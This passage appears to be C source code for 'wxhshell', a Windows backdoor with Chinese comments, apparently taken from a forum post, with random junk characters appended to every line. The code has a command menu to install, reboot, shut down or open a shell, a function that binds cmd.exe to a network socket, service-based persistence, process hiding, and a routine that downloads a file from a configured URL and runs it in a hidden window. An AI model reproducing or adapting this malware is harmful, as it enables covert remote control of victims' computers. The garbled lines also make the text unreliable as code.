      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3Tte8]0  
    break; #p:jKAc3  
  } f;; S  
  // 安装 )@&?i.  
  case 'i': { d?+oT0pCH  
    if(Install()) bT6)(lm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ff+9(P>*  
    else =2V;B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m"> =QP  
    break; ClVpb ew  
    } @nW(KF  
  // 卸载 i)^ZH#G p  
  case 'r': { WoT z'  
    if(Uninstall()) l+kg4y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UK9MWC5g9  
    else XIW: Nk!S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &_x/Dzu!z  
    break; D0_x|a  
    } FZI 4?YD?<  
  // 显示 wxhshell 所在路径 S5JR`o  
  case 'p': { ReGb .pf  
    char svExeFile[MAX_PATH]; /8-VC"  
    strcpy(svExeFile,"\n\r"); Ac(Vw%  
      strcat(svExeFile,ExeFile); 4I[FE;^  
        send(wsh,svExeFile,strlen(svExeFile),0); E3C[o! 5  
    break;  ` :  
    } g"AfI  
  // 重启 4 ~|TKd{  
  case 'b': { .6A:t? .  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Pj5#G0i%  
    if(Boot(REBOOT)) a/`Yh>ou  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |ssIUJ  
    else { hb\Y)HSp/  
    closesocket(wsh); (dprY1noC  
    ExitThread(0); ;77o%J'l  
    } .BB:7+  
    break; WHk/mAI-s  
    } D{d$L9.  
  // 关机 COJ!b  
  case 'd': { 6G})h!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x;]{ 8#-z  
    if(Boot(SHUTDOWN)) 0\<-R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r4>I?lD  
    else { 93eqFCF.  
    closesocket(wsh); 8 =Lv7G%  
    ExitThread(0); L/+J|_J)  
    } ,^Srd20  
    break; %H~gN9Vn#@  
    } #\;w::  
  // 获取shell HPH{{p  
  case 's': { ; SM^  
    CmdShell(wsh); 1 3az [  
    closesocket(wsh); NKh {iSLm  
    ExitThread(0); ~"YNG?Rre  
    break; bHT@]`@@  
  } c\ *OId1{;  
  // 退出 RL)3k8pk  
  case 'x': { d*(\'6?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "8 mulE,  
    CloseIt(wsh); @{a-IW 3  
    break; -Dm.z16  
    } 0-~x[\>>  
  // 离开 [$Bb'],k  
  case 'q': { ll09j Ef  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (`Mz.VN  
    closesocket(wsh); ?YykCJJ ~@  
    WSACleanup(); Cb-E<W&2D  
    exit(1); odn`%ok  
    break; qP'g}Pc  
        } M\6v}kUY  
  } fb;"J+  
  } |;-r};  
L2$L.@  
  // 提示信息 sYP@>tHC  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4N0nU  
} <5}du9@  
  } u@'zvkb@  
A+DYIS  
  return; (:x"p{  
} `R?W @,@'  
sB/s17ar  
// shell模块句柄 p>O< "X@  
int CmdShell(SOCKET sock) W A}@n  
{ PCfs6.*5Mf  
STARTUPINFO si; :vT%5CQ  
ZeroMemory(&si,sizeof(si)); 3) 0~:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D.!7jA#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 04d$_1:}a  
PROCESS_INFORMATION ProcessInfo; EC&,0i4n:  
char cmdline[]="cmd"; 4T E ?mh}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9r#{s Y  
  return 0; k4rB S  
} W (=B H  
"-:\-sMt{  
// 自身启动模式 9X` QlJ2|  
int StartFromService(void) p00AcUTq  
{ IW_D$pq  
typedef struct <~+  
{ N+75wtLy&  
  DWORD ExitStatus; &/?jMyD@  
  DWORD PebBaseAddress; !l^AKn|  
  DWORD AffinityMask; ~m U_ `o  
  DWORD BasePriority; kR(=VM JU  
  ULONG UniqueProcessId; O3Mv"Py%  
  ULONG InheritedFromUniqueProcessId; nHrCSfK  
}   PROCESS_BASIC_INFORMATION; jy2nn:1#^  
+}/!yQtH  
PROCNTQSIP NtQueryInformationProcess; 59]9-1" +  
[ 1GEe  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @NE#P&f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fC|u  
~Xw?>&  
  HANDLE             hProcess; D|:sSld @  
  PROCESS_BASIC_INFORMATION pbi; :/qO*&i,N  
9#6/c  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #Q7$I.O]  
  if(NULL == hInst ) return 0; N Z`hy>LF^  
6Qu*'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); FM[To  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); RY< b]|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Uk6!Sb  
V/e_:xECC  
  if (!NtQueryInformationProcess) return 0; ]L^M7SKE6  
w%n]~w=8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,2bAKa  
  if(!hProcess) return 0; H/Q)zDP  
}C.{+U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =rF8[Q0K  
[+z:^a1?V  
  CloseHandle(hProcess); E ET 2|*}  
Bdepvc}[#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZRfa!9vl  
if(hProcess==NULL) return 0; s3 $Q_8H  
R2W_/fsG  
HMODULE hMod; -+_&#twU  
char procName[255]; .?RjH6W  
unsigned long cbNeeded; *, K \A  
t7FQ.E,T  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &J:)*EjVl5  
{[ *_HAy7  
  CloseHandle(hProcess);  Jx w<*  
m)}MkC-  
if(strstr(procName,"services")) return 1; // 以服务启动 id'# s  
Kf~+jYobO  
  return 0; // 注册表启动 {E|gV9g  
} !k9h6/ b6  
2s%M,Nb  
// 主模块 NhX.yLb$   
int StartWxhshell(LPSTR lpCmdLine) 2z3A"HrlA  
{ GY xI$y0:  
  SOCKET wsl; {m:R v&T  
BOOL val=TRUE; W^Y0>W~  
  int port=0; ; bE6Y]"Rz  
  struct sockaddr_in door; B$EP'5@b  
cU|jT8Q4H  
  if(wscfg.ws_autoins) Install(); =U2n"du  
a*y mBGF  
port=atoi(lpCmdLine); ^^uD33@_  
+9CUnRv  
if(port<=0) port=wscfg.ws_port; |pSoBA9U  
IoOnS)  
  WSADATA data; GJPZ[bo  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qCN7i&k,  
BxYA[#fd}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Xm'K6JH'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1H7Q[ 2E  
  door.sin_family = AF_INET; Dj"=kL0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :PkZ(WZ9  
  door.sin_port = htons(port); 8f5^@K\c  
%$| k3[4V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZRGZ'+hw  
closesocket(wsl); 7!w nx.  
return 1; 8Oh3iO  
} ?GU!ke p  
%nF\tVP3]  
  if(listen(wsl,2) == INVALID_SOCKET) { XtdLKYET  
closesocket(wsl); S]O Hv6  
return 1; ,>v9 Y#U  
} Ct+%  
  Wxhshell(wsl); o1+]6s+j}  
  WSACleanup(); ,6\f4/  
Z]\^.x9S  
return 0; $uynW3h  
x~tQYK   
} % 6.jh#C  
U-<"i6mg ?  
// 以NT服务方式启动 !5!$h` g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) olxP`iK  
{ Nn1^#kc  
DWORD   status = 0; RGI6W{\  
  DWORD   specificError = 0xfffffff; F6VIH(  
\ZZy`/~z*7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; rd4'y~#S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; yt: V+qdv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =XlIe{  
  serviceStatus.dwWin32ExitCode     = 0; ODA#vAc!  
  serviceStatus.dwServiceSpecificExitCode = 0; q.km>XRk~  
  serviceStatus.dwCheckPoint       = 0; wJ*-K-  
  serviceStatus.dwWaitHint       = 0; [ {LnE:  
{ BL1j  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); de{YgN  
  if (hServiceStatusHandle==0) return; tN> B$sv  
z ]N~_9w  
status = GetLastError(); Q.dy $`\  
  if (status!=NO_ERROR) N==_'`O1Q0  
{ ^ZWFj?`\UV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; V_622~Tc/[  
    serviceStatus.dwCheckPoint       = 0; dU3 >h[q  
    serviceStatus.dwWaitHint       = 0; 8;&S9'ci  
    serviceStatus.dwWin32ExitCode     = status; Vp"Ug,1  
    serviceStatus.dwServiceSpecificExitCode = specificError; %ab)Gs  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }(EOQ2TI  
    return; z}2e;d 7  
  } m@yVG|eP#  
_k.bGYldk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _x1[$A,GuB  
  serviceStatus.dwCheckPoint       = 0; Al=? j#J6p  
  serviceStatus.dwWaitHint       = 0; ,!u@:UBT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i9k]Q(o  
} }_l -'t  
o 0ivja  
// 处理NT服务事件,比如:启动、停止 \+Ln~\Sv  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]Ja8i%LjOG  
{ w?W e|x3  
switch(fdwControl) :P~& b P  
{ H<7DcwXv  
case SERVICE_CONTROL_STOP: Ilu`b|%D  
  serviceStatus.dwWin32ExitCode = 0; ruA+1-<f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 13_~)V  
  serviceStatus.dwCheckPoint   = 0; bRz^=  
  serviceStatus.dwWaitHint     = 0; -7z y  
  { *oX]=u&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pQ(eF0KG  
  } Ss! 3{VW  
  return; gLMea:  
case SERVICE_CONTROL_PAUSE: Rue|<d1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^WW|AS  
  break; q}v04Yy,o  
case SERVICE_CONTROL_CONTINUE: ^H6d; n  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; O| 6\g>ew  
  break; 05VOUa*pb  
case SERVICE_CONTROL_INTERROGATE: BI.k On=  
  break; D6)Cjc>a  
}; V0 +k3H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); + >gbZ-S  
} nf.:5I.  
@))}\:  
// 标准应用程序主函数 qTh='~m4[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ka)LK@p6  
{ eGe[sv"k  
:`u&TXsu  
// 获取操作系统版本 K[>@'P}y  
OsIsNt=GetOsVer(); UtBlP+bE?y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i,Wm{+H-O  
3 s_k>cO=  
  // 从命令行安装 Q}?N4kg  
  if(strpbrk(lpCmdLine,"iI")) Install(); Xm=^\K3  
% X ,B-h^  
  // 下载执行文件 m9<%v0r  
if(wscfg.ws_downexe) { #+Yp^6zg  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Sa?5iFg  
  WinExec(wscfg.ws_filenam,SW_HIDE); syW9Hlm  
} M?~<w)L}  
`KJYm|@i  
if(!OsIsNt) { {[t"O u  
// 如果时win9x,隐藏进程并且设置为注册表启动 n]C%(v!u3  
HideProc(); =Q8H]F  
StartWxhshell(lpCmdLine); 8Z4?X%  
} P-OPv%jyi  
else S|q!? /jqj  
  if(StartFromService()) *&dW\fx  
  // 以服务方式启动 q]i(CaKh  
  StartServiceCtrlDispatcher(DispatchTable); P 5qa:<  
else 9oz(=R  
  // 普通方式启动 ,D@ ;i  
  StartWxhshell(lpCmdLine); f5yux}A{  
_{c|o{2sj  
return 0; /#qs(! d  
}
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只看该作者 1 发表于: 2006-10-10
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